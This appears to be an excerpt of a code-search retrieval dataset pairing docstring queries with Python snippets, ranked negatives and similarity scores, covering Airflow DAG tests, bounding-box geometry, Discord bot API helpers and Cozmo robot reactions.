"def test_dag_structure(self):\n\n organisation = Organisation(name=self.organisation_name)\n dag = GoogleBooksTelescope(organisation, accounts=None).make_dag()\n self.assert_dag_structure(\n {\n \"check_dependencies\": [\"list_release_info\"],\n \"list_... | [
"0.680294",
"0.6669853",
"0.63210905",
"0.6311622",
"0.6105268",
"0.60811025",
"0.60449713",
"0.6024524",
"0.6015868",
"0.5979063",
"0.596869",
"0.5906138",
"0.5839312",
"0.583271",
"0.58317727",
"0.583064",
"0.5763963",
"0.5728018",
"0.572314",
"0.5720221",
"0.57139593",
"... | 0.6582648 | 2 |
Test that the DAG can be loaded from a DAG bag. | def test_dag_load(self):
with ObservatoryEnvironment().create():
dag_file = os.path.join(module_file_path("academic_observatory_workflows.dags"), "unpaywall_telescope.py")
self.assert_dag_load("unpaywall", dag_file) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_dag_load(self):\n\n with ObservatoryEnvironment().create():\n dag_file = os.path.join(module_file_path(\"academic_observatory_workflows.dags\"), \"openalex_telescope.py\")\n self.assert_dag_load(\"openalex\", dag_file)",
"def test_dag_loads(self):\n self.assertEqual(F... | [
"0.7385436",
"0.71135604",
"0.7110756",
"0.6724345",
"0.6162052",
"0.6110341",
"0.6085278",
"0.60069627",
"0.5982009",
"0.57431567",
"0.5735573",
"0.57125735",
"0.5702912",
"0.5669966",
"0.56557333",
"0.56340045",
"0.5584368",
"0.557622",
"0.5550951",
"0.553458",
"0.55253327"... | 0.7223948 | 1 |
Given a hostname, resolve it to a JSON document | def TEST_fetch_host_info( hostname ):
if os.path.exists("/tmp/test-poll-host-pubkey.pub"):
with open("/tmp/test-poll-host-pubkey.pub", "r") as f:
pubk = f.read()
host_info = {}
host_info['hostname'] = hostname
host_info['public_key'] = pubk.strip()
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hostname_get():\n try:\n return json_response.success({'hostname': hostname.determine()})\n except hostname.Error as e:\n return json_response.error(str(e)), 200",
"def resolve_hostname(request, hostname):\n try:\n ipaddress = usm_wrapper_utils.resolve_hostname(hostname)\n ex... | [
"0.6831419",
"0.5982652",
"0.5836917",
"0.58359957",
"0.582843",
"0.5785391",
"0.5735598",
"0.57210416",
"0.5714465",
"0.5700011",
"0.56317395",
"0.5622472",
"0.5604329",
"0.5579752",
"0.55299777",
"0.55011827",
"0.5488329",
"0.54761213",
"0.54317594",
"0.54242593",
"0.542425... | 0.58959544 | 2 |
Given a hostname, resolve it to a JSON document | def opencloud_fetch_host_info( hostname ):
raise Exception("Opencloud support not implemented") | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def hostname_get():\n try:\n return json_response.success({'hostname': hostname.determine()})\n except hostname.Error as e:\n return json_response.error(str(e)), 200",
"def resolve_hostname(request, hostname):\n try:\n ipaddress = usm_wrapper_utils.resolve_hostname(hostname)\n ex... | [
"0.6831419",
"0.5982652",
"0.58959544",
"0.5836917",
"0.58359957",
"0.582843",
"0.5785391",
"0.5735598",
"0.57210416",
"0.5714465",
"0.56317395",
"0.5622472",
"0.5604329",
"0.5579752",
"0.55299777",
"0.55011827",
"0.5488329",
"0.54761213",
"0.54317594",
"0.54242593",
"0.54242... | 0.5700011 | 10 |
Compute the IoUs between bounding boxes. | def iou_bbox(bboxes1, bboxes2):
bboxes1 = np.array(bboxes1, np.float32)
bboxes2 = np.array(bboxes2, np.float32)
intersection_min_y = np.maximum(bboxes1[:, 0], bboxes2[:, 0])
intersection_max_y = np.minimum(bboxes1[:, 0] + bboxes1[:, 2] - 1, bboxes2[:, 0] + bboxes2[:, 2] - 1)
intersection_height... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def IoUs(box, boxes):\n box_area = (box[2] - box[0]) * (box[3] - box[1])\n area = (boxes[:, 2] - boxes[:, 0]) * (boxes[:, 3] - boxes[:, 1])\n xx1 = np.maximum(box[0], boxes[:, 0])\n yy1 = np.maximum(box[1], boxes[:, 1])\n xx2 = np.minimum(box[2], boxes[:, 2])\n yy2 = np.minimum(box[3], boxes[:, 3... | [
"0.79760545",
"0.7360302",
"0.73063666",
"0.7305902",
"0.72878903",
"0.72744477",
"0.695732",
"0.695732",
"0.6948172",
"0.69370276",
"0.69283444",
"0.69266987",
"0.69141793",
"0.6910099",
"0.6884505",
"0.6847904",
"0.68431014",
"0.6842791",
"0.682574",
"0.6824961",
"0.6815399... | 0.688465 | 14 |
Parameterize bounding boxes with respect to anchors. Namely, (y,x,h,w)>(ty,tx,th,tw). | def param_bbox(bboxes, anchors):
bboxes = np.array(bboxes, np.float32)
anchors = np.array(anchors, np.float32)
tyx = (bboxes[:, :2] - anchors[:, :2]) / anchors[:, 2:]
thw = np.log(bboxes[:, 2:] / anchors[:, 2:])
t = np.concatenate((tyx, thw), axis=1)
return t | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __call__(self, loc, scores, anchors, img_size):\n anchors = bbox.loc2bbox(anchor)",
"def xywh_xyxy(boxes):\n bbox = np.zeros(boxes.shape)\n bbox[:, 0] = boxes[:, 0] \n bbox[:, 1] = boxes[:, 1] \n bbox[:, 2] = boxes[:, 0] + 1 * boxes[:, 2]\n bbox[:, 3] = boxes[:, 1] + 1 * boxes[:, 3]\n ... | [
"0.7079935",
"0.6789713",
"0.65681434",
"0.6469251",
"0.6254045",
"0.62500405",
"0.6196701",
"0.61934334",
"0.6183325",
"0.61690676",
"0.61612844",
"0.613867",
"0.6136252",
"0.61226267",
"0.61135674",
"0.61123616",
"0.6107818",
"0.6079668",
"0.6065356",
"0.60578364",
"0.60495... | 0.69789153 | 1 |
Unparameterize bounding boxes with respect to anchors. Namely, (ty,tx,th,tw)>(y,x,h,w). | def unparam_bbox(t, anchors, max_shape=None):
t = np.array(t, np.float32)
anchors = np.array(anchors, np.float32)
yx = t[:, :2] * anchors[:, 2:] + anchors[:, :2]
hw = np.exp(t[:, 2:]) * anchors[:, 2:]
bboxes = np.concatenate((yx, hw), axis=1)
if max_shape != None:
bboxes = rectify_bbo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bbox_transform_inv(bbox):\n with tf.variable_scope('bbox_transform_inv') as scope:\n xmin = bbox[..., 0]\n ymin = bbox[..., 1]\n xmax = bbox[..., 2]\n ymax = bbox[..., 3]\n w = xmax - xmin + 1.0\n h = ymax - ymin + 1.0\n out_box = np.stack(\n [xmin + 0.5*w, ymin + 0.5*h, w, h],\n ... | [
"0.65151864",
"0.6448961",
"0.6441325",
"0.64217514",
"0.6378641",
"0.6352084",
"0.6197559",
"0.61599165",
"0.61406326",
"0.6111988",
"0.60997486",
"0.60890275",
"0.6063085",
"0.6047759",
"0.6045166",
"0.60417753",
"0.59831274",
"0.5976186",
"0.5973511",
"0.59560215",
"0.5952... | 0.7801747 | 0 |
Clip bounding boxes to image boundary if necessary. | def rectify_bbox(bboxes, max_shape):
bboxes = np.array(bboxes, np.int32)
n = bboxes.shape[0]
if n == 0:
return bboxes
h, w = max_shape
bboxes[:, 0] = np.maximum(bboxes[:, 0], np.zeros((n)))
bboxes[:, 0] = np.minimum(bboxes[:, 0], (h-1) * np.ones((n)))
bboxes[:, 1] = np.maximum(bbo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bbox_clip(bboxes,img_shape):\n assert bboxes.shape[-1] % 4 == 0\n clipped_bboxes = np.empty_like(bboxes,dtype=bboxes.dtype)\n clipped_bboxes[...,0::2] = np.maximum(np.minimum(bboxes[...,0::2],img_shape[1]-1),0)\n clipped_bboxes[...,1::2] = np.maximum(np.minimum(bboxes[...,1::2],img_shape[0]-1),0)\n... | [
"0.79604113",
"0.7733745",
"0.75160044",
"0.75160044",
"0.75128055",
"0.74821913",
"0.74603677",
"0.74603677",
"0.7283722",
"0.7270051",
"0.72697234",
"0.7187394",
"0.7116647",
"0.70570165",
"0.7002503",
"0.695813",
"0.6916214",
"0.6896344",
"0.68704635",
"0.6869429",
"0.6868... | 0.6155318 | 46 |
Map bounding boxes in old image shape to their counterparts in new image shape. | def convert_bbox(bboxes, old_shape, new_shape):
bboxes = np.array(bboxes, np.float32)
if bboxes.shape[0] == 0:
return bboxes
oh, ow = old_shape
nh, nw = new_shape
bboxes[:, 0] = bboxes[:, 0] * nh / oh
bboxes[:, 1] = bboxes[:, 1] * nw / ow
bboxes[:, 2] = bboxes[:, 2] * nh / oh
b... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_bounding_box(old_shape, new_shape, row):\n # First index specifies rows of image, second index columns.\n # This means first index is y and second x\n scale_factor = new_shape[0] / old_shape[0]\n offset = (new_shape[1] - old_shape[1] * scale_factor)/2\n\n # May end up a little off-center\... | [
"0.7477527",
"0.68143463",
"0.6739359",
"0.6597438",
"0.6442463",
"0.64015967",
"0.6345242",
"0.62468106",
"0.6223599",
"0.6106933",
"0.6054487",
"0.60216993",
"0.60213155",
"0.593495",
"0.5909381",
"0.5888657",
"0.5888657",
"0.5861662",
"0.5829333",
"0.5829333",
"0.5824078",... | 0.7284216 | 1 |
Enlarge bounding boxes by the given factor (without changing their centers). | def expand_bbox(bboxes, max_shape, factor=1.5):
bboxes = np.array(bboxes, np.float32)
n = bboxes.shape[0]
if n == 0:
return bboxes
H = bboxes[:, 2] * factor
W = bboxes[:, 3] * factor
Y = bboxes[:, 0] - bboxes[:, 2] * (factor * 0.5 - 0.5)
X = bboxes[:, 1] - bboxes[:, 3] * (factor * 0... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def resize_to_box(im, size):\n #mx = np.max(im.shape[:2])\n\n factors = [size[i]/im.shape[i] for i in range(2)]\n\n f = np.min(factors)\n if f < 1.0:\n return resize_with_factor_new(im, f)\n else:\n return im",
"def expand_boxes(boxes, scale):\n w_half = (boxes[:, 2] - box... | [
"0.6589286",
"0.6390398",
"0.63020176",
"0.627091",
"0.61904466",
"0.61847234",
"0.61352766",
"0.6132406",
"0.6007678",
"0.60033876",
"0.60017043",
"0.59644324",
"0.59606093",
"0.5915594",
"0.5887303",
"0.5867812",
"0.5867812",
"0.5864122",
"0.5853104",
"0.58528006",
"0.58093... | 0.66979355 | 0 |
Get the labels of the anchors. Each anchor can be labeled as positive (1), negative (0) or ambiguous (1). Truncated anchors are always labeled as ambiguous. | def label_anchors(anchors, anchor_is_untruncated, gt_classes, gt_bboxes, background_id, iou_low_threshold=0.41, iou_high_threshold=0.61):
n = anchors.shape[0]
k = gt_bboxes.shape[0]
# Compute the IoUs of the anchors and ground truth boxes
tiled_anchors = np.tile(np.expand_dims(anchors, 1), (1, k, 1... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def numpy_select_label_anchors_minmax(_ground_truths, \n _anchors, \n _positive_threshold = 0.7, \n _negative_threshold = 0.3,\n _n_targets= 128):\n \n # Prune a... | [
"0.6365366",
"0.6272056",
"0.6209516",
"0.6093799",
"0.60793006",
"0.6043222",
"0.59958136",
"0.5949583",
"0.5946504",
"0.58993435",
"0.5892367",
"0.58494216",
"0.57686114",
"0.5767941",
"0.576532",
"0.5765271",
"0.5716308",
"0.5708897",
"0.57004285",
"0.5694463",
"0.5694382"... | 0.6824482 | 0 |
Postprocess the detection results. Nonmaximum suppression. | def postprocess(scores, classes, bboxes, iou_threshold=0.3, score_threshold=0.5):
n = len(scores)
det_num = 0
det_classes = []
det_scores = []
det_bboxes = []
idx = np.argsort(scores)[::-1]
sorted_scores = scores[idx]
sorted_bboxes = bboxes[idx]
sorted_classes = classes... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def postprocess(image: np.ndarray, results_list: list, threshold_confidence: float, threshold_nms: float) -> list:\n frameHeight = image.shape[0]\n frameWidth = image.shape[1]\n\n # Scan through all the bounding boxes output from the network and..\n # 1. keep only the ones with high confidence scores.\... | [
"0.6735261",
"0.6664654",
"0.6630579",
"0.6577439",
"0.6406923",
"0.63441116",
"0.629257",
"0.61957365",
"0.6079464",
"0.6046928",
"0.6036131",
"0.6009213",
"0.6006449",
"0.59780705",
"0.5972967",
"0.59429765",
"0.5928894",
"0.5922842",
"0.5915244",
"0.58594865",
"0.5853967",... | 0.56760174 | 36 |
Postprocess the detection results. Nonmaximum suppression within each class. | def postprocess2(scores, classes, bboxes, iou_threshold=0.2, score_threshold=0.5):
n = len(scores)
count_per_class = {cls:0 for cls in classes}
bbox_per_class = {cls:[] for cls in classes}
score_per_class = {cls:[] for cls in classes}
for i in range(n):
count_per_class[classes[i]] += 1
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def postprocess(self, frame, outs):\n frameHeight = frame.shape[0]\n frameWidth = frame.shape[1]\n classIds = []\n confidences = []\n boxes = []\n # Scan through all the bounding boxes output from the network and keep only the\n # ones with high confidence scores. A... | [
"0.69125783",
"0.6836886",
"0.6585035",
"0.6476055",
"0.64319205",
"0.6351669",
"0.6329576",
"0.63245493",
"0.63100946",
"0.6294223",
"0.6243016",
"0.6231166",
"0.62281066",
"0.61546725",
"0.61398005",
"0.61322653",
"0.6119846",
"0.6104196",
"0.6073029",
"0.6024173",
"0.59493... | 0.5997141 | 20 |
Read all properties of the given file return them as a dictionary. | def getFileProperties(fname):
propNames = ('Comments', 'InternalName', 'ProductName',
'CompanyName', 'LegalCopyright', 'ProductVersion',
'FileDescription', 'LegalTrademarks', 'PrivateBuild',
'FileVersion', 'OriginalFilename', 'SpecialBuild')
props = {'FixedFileInfo': None, 'StringFileIn... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_properties(filename):\n\n with open(filename, 'r') as f:\n lines = f.readlines()\n\n properties = get_properties(lines)\n\n return properties",
"def org_properties(fname):\n\n d = {}\n in_props = False\n with open(fname) as fobj:\n for line in fobj:\n if ':PROP... | [
"0.7808817",
"0.72304106",
"0.71608496",
"0.70748997",
"0.7044528",
"0.70093024",
"0.69978476",
"0.6890221",
"0.68776745",
"0.6767165",
"0.6764475",
"0.6644261",
"0.65868574",
"0.6525701",
"0.6500845",
"0.64988625",
"0.6433803",
"0.6405596",
"0.63489175",
"0.6335439",
"0.6293... | 0.5887806 | 55 |
Return a list of handles for visible windows with a given process name | def getMainWindowHandles(process_name, expect_one=False):
# find all processes with process_name
pids = []
for process in psutil.process_iter():
if process.name() == process_name:
pids.append(process.pid)
# find all window handles with process_name
whandles = []
def windowF... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_hwnds(pid):\n def callback(hwnd, hwnds):\n if win32gui.IsWindowVisible(hwnd) and win32gui.IsWindowEnabled(hwnd):\n _, found_pid = win32process.GetWindowThreadProcessId(hwnd)\n if found_pid == pid:\n hwnds.append(hwnd)\n return True\n hwnds = []\n ... | [
"0.7882355",
"0.74707407",
"0.68533087",
"0.68462783",
"0.6585412",
"0.65552914",
"0.6511142",
"0.6476083",
"0.64665645",
"0.64158076",
"0.6220887",
"0.62179965",
"0.6139772",
"0.61389536",
"0.6114521",
"0.59757996",
"0.59497213",
"0.59147716",
"0.5892488",
"0.5787817",
"0.55... | 0.74966705 | 1 |
Get a discord server given server id | def get_username(self, auth_token, user_id=None):
self.headers['Authorization'] = f'Bearer {auth_token}'
user = self.http_client.get(
f'{self.api_endpoint}/users/@me', self.headers)
return f'{user["username"]}#{user["discriminator"]}' | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_server(self, id):\n\t\treturn self.__servers.get_server(id)",
"def server(self, server_id):\n response = self._request(\"GET\", [ROUTE_SERVERS, server_id])\n if response.status_code != 200:\n logging.error(\"Error server id::{}\".format(response.text))\n return None\n\... | [
"0.7825828",
"0.72106886",
"0.7038349",
"0.7023757",
"0.7018549",
"0.6773648",
"0.66922504",
"0.6597605",
"0.6390267",
"0.6101905",
"0.60674965",
"0.6005366",
"0.5994605",
"0.5986066",
"0.5951594",
"0.59417343",
"0.59400356",
"0.5926643",
"0.5905813",
"0.5848212",
"0.58428794... | 0.0 | -1 |
Get a discord server given server id | async def get_guild(self, workspace_id) -> Guild:
guild = await self.client.fetch_guild(workspace_id)
return guild | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_server(self, id):\n\t\treturn self.__servers.get_server(id)",
"def server(self, server_id):\n response = self._request(\"GET\", [ROUTE_SERVERS, server_id])\n if response.status_code != 200:\n logging.error(\"Error server id::{}\".format(response.text))\n return None\n\... | [
"0.78256756",
"0.7210775",
"0.70365936",
"0.7023663",
"0.701742",
"0.6772921",
"0.66907614",
"0.6596807",
"0.6389004",
"0.6100305",
"0.60650533",
"0.6006278",
"0.5992732",
"0.5985209",
"0.594971",
"0.5941801",
"0.59379864",
"0.59259915",
"0.5905143",
"0.5842343",
"0.58112395"... | 0.584765 | 19 |
Get a discord channel given channel id | async def get_channel(self, channel_id):
channel = await self.client.fetch_channel(channel_id)
return channel | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_channel(self, channel_id):\n uri = 'channels/' + channel_id\n return self.make_request(uri)",
"def get_channel(self, channel_id):\n try:\n return self[channel_id]\n except KeyError:\n raise ChannelNotFoundError(\"Channel {} not found\".format(channel_id))",
"de... | [
"0.8683317",
"0.82664853",
"0.8244116",
"0.77520853",
"0.7731785",
"0.7628041",
"0.7377388",
"0.7376629",
"0.731581",
"0.7271431",
"0.70557",
"0.7045037",
"0.68866545",
"0.68850803",
"0.68683636",
"0.6843198",
"0.6786997",
"0.6763132",
"0.6759558",
"0.6735168",
"0.6725157",
... | 0.86089706 | 1 |
Set discord channel topic | async def set_channel_topic(self, channel_topic, workspace_entity: WorkspaceEntity):
await self.client.login(os.environ['DISCORD_BOT_TOKEN'], bot=self.is_bot)
try:
channel = await self.get_channel(workspace_entity.generated_channel_id)
await channel.edit(topic=channel_topic)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def topic(self, channel, topic=None):\n if topic:\n channel += ' :' + topic\n self.send_line('TOPIC %s' % channel)",
"def topic(self, channel, new_topic=None):\n if new_topic is None:\n time.sleep(1)\n self.s.send(\"TOPIC %s\\n\" % channel)\n logge... | [
"0.78130007",
"0.7372703",
"0.70083445",
"0.6957028",
"0.6779081",
"0.6719136",
"0.6646406",
"0.6603524",
"0.6588784",
"0.6577933",
"0.65143585",
"0.6472604",
"0.64440817",
"0.6392307",
"0.6212289",
"0.6121125",
"0.6107234",
"0.60491633",
"0.6034453",
"0.6033108",
"0.6015926"... | 0.76062524 | 1 |
Post message to discord channel | async def post_message(self, message, workspace_entity: WorkspaceEntity):
await self.client.login(os.environ['DISCORD_BOT_TOKEN'], bot=self.is_bot)
try:
channel = await self.get_channel(workspace_entity.generated_channel_id)
await channel.send(content=message)
except HTTP... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post_to_channel(self, text):\n self.slack_client.api_call(\n \"chat.postMessage\",\n channel=self.config.SLACK_CHANNEL,\n text=text,\n username='pybot',\n icon_emoji=':robot_face:'\n )",
"def post_message(channel, title, content):\n url ... | [
"0.75064564",
"0.7293045",
"0.71662164",
"0.71404284",
"0.70237076",
"0.6974054",
"0.68904084",
"0.68200505",
"0.68061984",
"0.6802909",
"0.6797641",
"0.67762107",
"0.67217904",
"0.6698197",
"0.667121",
"0.66596895",
"0.66530997",
"0.66308546",
"0.6626105",
"0.66049105",
"0.6... | 0.7164306 | 3 |
Default to getting project channel id associated to the discord invite. If workspace id does match invite guild id then we fetch guild channel and select project channel id that belongs to workspace | async def select_project_channel_id(self, workspace: WorkspaceEntity, **kwargs):
channel_id = ""
invite_code = kwargs["invite_url"].rsplit("/", 1)[1]
invite = self.http_client.get(
f'{self.api_endpoint}/invites/{invite_code}', self.headers)
# invite could be invalid
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"async def get_project_channel_name(self, workspace: WorkspaceEntity):\n await self.client.login(os.environ['DISCORD_BOT_TOKEN'], bot=self.is_bot)\n channel_name = \"\"\n try:\n channel = await self.get_channel(workspace.project_channel_id)\n except HTTPException as error:\n ... | [
"0.5926791",
"0.5877593",
"0.5625703",
"0.55938035",
"0.55938035",
"0.55938035",
"0.55938035",
"0.5570502",
"0.5564298",
"0.5544257",
"0.5543905",
"0.55271715",
"0.55019116",
"0.55002284",
"0.5465911",
"0.54634124",
"0.5453106",
"0.5411919",
"0.5381866",
"0.5350541",
"0.53374... | 0.85108703 | 0 |
Get project channel name given project_channel_id using the channel associated with the discord invite url. invite should always be valid. | async def get_project_channel_name(self, workspace: WorkspaceEntity):
await self.client.login(os.environ['DISCORD_BOT_TOKEN'], bot=self.is_bot)
channel_name = ""
try:
channel = await self.get_channel(workspace.project_channel_id)
except HTTPException as error:
# p... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"async def select_project_channel_id(self, workspace: WorkspaceEntity, **kwargs):\n channel_id = \"\"\n\n invite_code = kwargs[\"invite_url\"].rsplit(\"/\", 1)[1]\n invite = self.http_client.get(\n f'{self.api_endpoint}/invites/{invite_code}', self.headers)\n # invite could be... | [
"0.71972173",
"0.6902223",
"0.64741087",
"0.6457699",
"0.63657844",
"0.6195817",
"0.61137605",
"0.60998803",
"0.60551804",
"0.5953863",
"0.58828175",
"0.58753836",
"0.57890105",
"0.577792",
"0.57777005",
"0.57777005",
"0.57777005",
"0.57777005",
"0.57777005",
"0.57777005",
"0... | 0.6246572 | 5 |
Return number_of_messages from a channel given the channel id | async def get_project_recent_messages(self, workspace):
await self.client.login(os.environ['DISCORD_BOT_TOKEN'], bot=self.is_bot)
messages = []
try:
channel = await self.get_channel(workspace.project_channel_id)
async for message in channel.history(limit=5):
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def messages_in_channel(self, client, channel):\n result = None\n if client not in self.storage:\n return result\n if channel not in self.storage[client]:\n return result\n result = len(self.storage[client][channel])\n return result",
"async def _count(\n ... | [
"0.6800228",
"0.67264944",
"0.64163625",
"0.6140519",
"0.60686487",
"0.6049404",
"0.6006016",
"0.600338",
"0.5973786",
"0.5947724",
"0.592754",
"0.591469",
"0.5882951",
"0.5869114",
"0.58490837",
"0.5833381",
"0.5818431",
"0.5811311",
"0.5793298",
"0.5778113",
"0.5772809",
... | 0.0 | -1 |
Exchange code for access token | def exchange_code(self, code):
data = {
'client_id': self.client_id,
'client_secret': self.client_secret,
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': self.redirect_uri,
'scope': 'identify'
}
headers = ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exchange_token(self, code):\n access_token_url = OAUTH_ROOT + '/access_token'\n params = {\n 'client_id': self.client_id,\n 'client_secret': self.client_secret,\n 'redirect_uri': self.redirect_uri,\n 'code': code,\n }\n resp = requests.get... | [
"0.76737565",
"0.75573987",
"0.74872184",
"0.7459691",
"0.7442583",
"0.73809713",
"0.7358272",
"0.7275493",
"0.7190624",
"0.71864766",
"0.7088587",
"0.70770365",
"0.70768636",
"0.7065978",
"0.70527726",
"0.70141613",
"0.69707495",
"0.6928843",
"0.6928744",
"0.68662643",
"0.68... | 0.75274915 | 2 |
Refresh access token once expired. | def refresh_token(self, refresh_token):
data = {
'client_id': self.client_id,
'client_secret': self.client_secret,
'grant_type': 'refresh_token',
'refresh_token': refresh_token,
'redirect_uri': self.redirect_uri,
'scope': 'identify email co... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def refresh_access_token(self):\n self._access_token = self.generate_access_token()",
"def _refresh_access_token(self) -> None:\n response = httpx.post(\n f\"{self._base_url}/oauth2/token\",\n proxies=self._proxies,\n data={\n \"grant_type\": \"client... | [
"0.86163366",
"0.8352881",
"0.8289304",
"0.82306564",
"0.8187224",
"0.8006817",
"0.7974897",
"0.79615444",
"0.78723985",
"0.7737143",
"0.77223223",
"0.77167267",
"0.7680195",
"0.76327974",
"0.76249963",
"0.75955814",
"0.7581742",
"0.7580342",
"0.7550039",
"0.7469374",
"0.7422... | 0.68990934 | 37 |
select channel id with most message activity within last 30 days | async def select_channel(self, channels: [abc.GuildChannel], workspace: WorkspaceEntity) -> str:
text_channels = []
max_messages = -1
max_messages_channel = ''
for channel in channels:
if isinstance(channel, TextChannel):
# skip generated channel from being se... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_messages(cls, max, since=None):\n logging.getLogger('app').debug('Inside Database.get_last_n_messages')\n \n with cls.__get_connection() as cnx:\n return cnx.fetch_all(\"\"\"\n select\n m.message_id,\n m.message_text,\n ... | [
"0.562538",
"0.5601993",
"0.5466625",
"0.54432464",
"0.5381745",
"0.5358702",
"0.53061396",
"0.5294843",
"0.52904063",
"0.52788347",
"0.5263861",
"0.5220234",
"0.5187253",
"0.51716506",
"0.51274705",
"0.5115105",
"0.50410354",
"0.50409",
"0.5033649",
"0.50318",
"0.5029663",
... | 0.61677015 | 0 |
Sets the start position. | def set_start_position(self) -> None:
self.cozmo.set_head_angle(degrees(0)).wait_for_completed()
self.cozmo.set_lift_height(0.0).wait_for_completed() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def start(self, start: pos.Pos) -> None:\n self.__start = start",
"def set_start(self, start_line):\n self.__start_line = start_line",
"def set_starting_pos(self):\n if self.start and self.is_unoccupied(*self.start):\n self.current_pos = self.start[:]\n else:\n ... | [
"0.84893215",
"0.80704427",
"0.7979742",
"0.7777096",
"0.771941",
"0.771941",
"0.771941",
"0.771941",
"0.76588345",
"0.7583015",
"0.75784844",
"0.74794215",
"0.74246275",
"0.72933054",
"0.70534253",
"0.70526403",
"0.70484763",
"0.68650675",
"0.6849385",
"0.67773587",
"0.67768... | 0.71430326 | 14 |
Gets an amount to rotate. | def __get_rotation_amount(self) -> int:
min_rotate_angle = -10
max_rotate_angle = 10
if self.current_angle <= min_rotate_angle:
rotation_amount = 5 + randint(0, 7)
elif self.current_angle >= max_rotate_angle:
rotation_amount = -5 - randint(0, 7)
else:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def angle(self) -> int:",
"def rotation_rate(self) -> int:\n return self._rotation_rate",
"def get_angle(self) -> NumberType:\n return self._angle",
"def rotation_angle(self):\n return self.container['rotation_angle']",
"def get_angle(n):\n return n % 360 if n > 360 else (n * 180) /... | [
"0.6747645",
"0.6724292",
"0.6570374",
"0.6547653",
"0.6504691",
"0.6413458",
"0.6402973",
"0.63765687",
"0.6352698",
"0.6303226",
"0.629455",
"0.6278951",
"0.6257527",
"0.623377",
"0.6233484",
"0.6233484",
"0.62223095",
"0.6206932",
"0.6192877",
"0.6192748",
"0.6174866",
"... | 0.7240605 | 0 |
Performs a positive reaction. Chooses a random number from 0 to 4 and plays reaction that is tied to that number. | def react_positively(self) -> None:
positive_reactions = [
Triggers.MajorWin,
Triggers.CodeLabHappy,
Triggers.CodeLabYes,
Triggers.CodeLabAmazed,
Triggers.CodeLabCelebrate
]
num = randint(0, 4)
if num == 0:
self.spe... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def react_negatively(self) -> None:\n\n negative_reactions = [\n Triggers.MajorFail,\n Triggers.CubeMovedUpset,\n Triggers.CodeLabUnhappy,\n Triggers.PounceFail,\n Triggers.CodeLabBored\n ]\n num = randint(0, 4)\n if num == 0:\n ... | [
"0.6905896",
"0.6231512",
"0.62157935",
"0.6211258",
"0.61658084",
"0.61590034",
"0.60850656",
"0.6050908",
"0.6033337",
"0.6005656",
"0.5986243",
"0.595127",
"0.5939949",
"0.5912327",
"0.5898589",
"0.5895938",
"0.58722883",
"0.58597785",
"0.58351046",
"0.57990456",
"0.577905... | 0.7328073 | 0 |
Performs a negative reaction. Chooses a random number from 0 to 4 and plays reaction that is tied to that number. | def react_negatively(self) -> None:
negative_reactions = [
Triggers.MajorFail,
Triggers.CubeMovedUpset,
Triggers.CodeLabUnhappy,
Triggers.PounceFail,
Triggers.CodeLabBored
]
num = randint(0, 4)
if num == 0:
self.__p... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def react_positively(self) -> None:\n positive_reactions = [\n Triggers.MajorWin,\n Triggers.CodeLabHappy,\n Triggers.CodeLabYes,\n Triggers.CodeLabAmazed,\n Triggers.CodeLabCelebrate\n ]\n\n num = randint(0, 4)\n if num == 0:\n ... | [
"0.6683079",
"0.61137176",
"0.60331506",
"0.593703",
"0.591474",
"0.5886511",
"0.5886511",
"0.5786441",
"0.5680501",
"0.56767386",
"0.56580144",
"0.5644133",
"0.5632372",
"0.5621879",
"0.56003094",
"0.55962235",
"0.55849737",
"0.55822545",
"0.55530477",
"0.55407363",
